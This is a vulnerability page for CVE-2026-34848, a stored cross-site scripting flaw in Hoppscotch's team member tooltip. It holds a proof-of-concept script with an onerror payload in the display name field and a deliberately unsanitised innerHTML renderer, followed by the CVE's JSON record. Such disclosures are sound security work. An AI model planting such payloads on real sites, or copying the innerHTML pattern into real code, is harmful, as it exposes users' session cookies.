CVE-2026-34848

<!-- PoC for CVE-2026-34848 (Stored XSS in Hoppscotch) Description: Injecting malicious script into the 'Display Name' field of a team member profile. --> <script> // Step 1: Attacker updates their profile via API/UI // The payload contains an XSS trigger that executes on hover or load in the tooltip. const xssPayload = '"><img src=x onerror=alert(document.cookie)>'; // Step 2: Simulate storing the payload in the database const userProfile = { username: "attacker", display_name: xssPayload }; console.log("[+] Payload injected into display name:", userProfile.display_name); // Step 3: Victim views the team member list // The application renders the tooltip without sanitization function renderTooltip(displayName) { // Vulnerable rendering logic (simplified) document.getElementById("tooltip").innerHTML = displayName; } // When the victim hovers over the name, the alert triggers // renderTooltip(userProfile.display_name); </script>

{"cve": {"id": "CVE-2026-34848", "sourceIdentifier": "[email protected]", "published": "2026-04-02T20:16:28.677", "lastModified": "2026-04-15T17:24:56.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "hoppscotch is an open source API development ecosystem. Prior to version 2026.3.0, there is a stored XSS vulnerability in the team member overflow tooltip via display name. This issue has been patched in version 2026.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hoppscotch:hoppscotch:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.3.0", "matchCriteriaId": "0FF217CC-EE39-4462-91B1-AA13EDECFF36"}]}]}], "references": [{"url": "https://github.com/hoppscotch/hoppscotch/releases/tag/2026.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-vw93-4m6p-ccm9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}